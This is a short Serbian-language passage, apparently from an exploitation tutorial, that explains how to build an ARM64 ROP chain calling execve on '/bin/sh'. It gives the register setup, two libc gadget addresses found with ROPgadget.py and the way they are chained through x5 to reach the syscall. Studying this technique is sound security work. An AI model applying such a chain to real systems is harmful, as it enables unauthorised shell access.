Da biste pripremili poziv za syscall, potrebna je sledeća konfiguracija:
x8: 221 Specificiraj sys_execve
x0: ptr to "/bin/sh" specificiraj fajl za izvršavanje
x1: 0 specificiraj da nema prosleđenih argumenata
x2: 0 specificiraj da nema prosleđenih promenljivih okruženja
Korišćenjem ROPgadget.py uspeo sam da lociram sledeće gadžete u libc biblioteci mašine:
;Load x0, x1 and x3 from stack and x5 and call x5
0x0000000000114c30:
ldp x3, x0, [sp, #8] ;
ldp x1, x4, [sp, #0x18] ;
ldr x5, [sp, #0x58] ;
ldr x2, [sp, #0xe0] ;
blr x5
;Move execve syscall (0xdd) to x8 and call it
0x00000000000bb97c :
nop ;
nop ;
mov x8, #0xdd ;
svc #0
Sa prethodnim gedžetima možemo kontrolisati sve potrebne registre sa steka i koristiti x5 da skočimo na drugi gedžet kako bismo pozvali sistemski poziv.
Imajte na umu da poznavanje ovih informacija iz libc biblioteke takođe omogućava izvođenje napada ret2libc, ali koristimo ih za ovaj trenutni primer.